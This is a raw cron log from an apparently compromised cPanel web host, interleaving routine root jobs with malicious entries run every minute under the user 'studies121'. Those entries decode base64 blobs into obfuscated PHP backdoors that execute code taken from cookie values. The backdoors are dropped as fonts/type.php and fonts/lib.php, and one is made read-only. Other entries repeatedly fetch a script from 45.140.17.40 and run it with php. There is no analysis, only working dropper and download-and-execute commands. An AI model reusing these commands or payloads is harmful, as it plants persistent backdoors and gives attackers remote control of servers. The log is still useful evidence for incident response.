Sep  9 13:15:01 ip-184-168-122-23 CROND[23730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:15:01 ip-184-168-122-23 CROND[23732]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:15:01 ip-184-168-122-23 CROND[23735]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:15:01 ip-184-168-122-23 CROND[23734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:15:01 ip-184-168-122-23 CROND[23736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:15:01 ip-184-168-122-23 CROND[23737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:16:01 ip-184-168-122-23 CROND[23848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:16:01 ip-184-168-122-23 CROND[23850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:16:01 ip-184-168-122-23 CROND[23851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:16:01 ip-184-168-122-23 CROND[23854]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 13:16:01 ip-184-168-122-23 CROND[23853]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:16:01 ip-184-168-122-23 CROND[23852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:17:01 ip-184-168-122-23 CROND[24156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:17:01 ip-184-168-122-23 CROND[24157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:17:01 ip-184-168-122-23 CROND[24159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:17:01 ip-184-168-122-23 CROND[24158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:18:01 ip-184-168-122-23 CROND[24246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:18:01 ip-184-168-122-23 CROND[24249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:18:01 ip-184-168-122-23 CROND[24248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:18:01 ip-184-168-122-23 CROND[24250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:18:01 ip-184-168-122-23 CROND[24251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:19:01 ip-184-168-122-23 CROND[24332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:19:01 ip-184-168-122-23 CROND[24334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:19:01 ip-184-168-122-23 CROND[24336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:19:01 ip-184-168-122-23 CROND[24335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:20:01 ip-184-168-122-23 CROND[24431]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 13:20:01 ip-184-168-122-23 CROND[24435]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:20:01 ip-184-168-122-23 CROND[24438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:20:01 ip-184-168-122-23 CROND[24444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:20:01 ip-184-168-122-23 CROND[24443]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:20:01 ip-184-168-122-23 CROND[24446]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 13:20:01 ip-184-168-122-23 CROND[24441]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:20:01 ip-184-168-122-23 CROND[24442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:20:01 ip-184-168-122-23 CROND[24445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:21:01 ip-184-168-122-23 CROND[24532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:21:01 ip-184-168-122-23 CROND[24534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:21:01 ip-184-168-122-23 CROND[24536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:21:01 ip-184-168-122-23 CROND[24535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:22:01 ip-184-168-122-23 CROND[24627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:22:01 ip-184-168-122-23 CROND[24629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:22:01 ip-184-168-122-23 CROND[24628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:22:01 ip-184-168-122-23 CROND[24626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:22:01 ip-184-168-122-23 CROND[24630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:23:01 ip-184-168-122-23 CROND[24831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:23:01 ip-184-168-122-23 CROND[24833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:23:01 ip-184-168-122-23 CROND[24835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:23:01 ip-184-168-122-23 CROND[24837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:24:01 ip-184-168-122-23 CROND[24926]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:24:01 ip-184-168-122-23 CROND[24929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:24:01 ip-184-168-122-23 CROND[24928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:24:01 ip-184-168-122-23 CROND[24930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:24:01 ip-184-168-122-23 CROND[24931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:25:01 ip-184-168-122-23 CROND[25025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:25:01 ip-184-168-122-23 CROND[25031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:25:01 ip-184-168-122-23 CROND[25027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:25:01 ip-184-168-122-23 CROND[25029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:25:01 ip-184-168-122-23 CROND[25028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:25:01 ip-184-168-122-23 CROND[25030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:26:01 ip-184-168-122-23 CROND[25125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:26:01 ip-184-168-122-23 CROND[25126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:26:01 ip-184-168-122-23 CROND[25129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:26:01 ip-184-168-122-23 CROND[25130]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:26:01 ip-184-168-122-23 CROND[25131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:27:01 ip-184-168-122-23 CROND[25220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
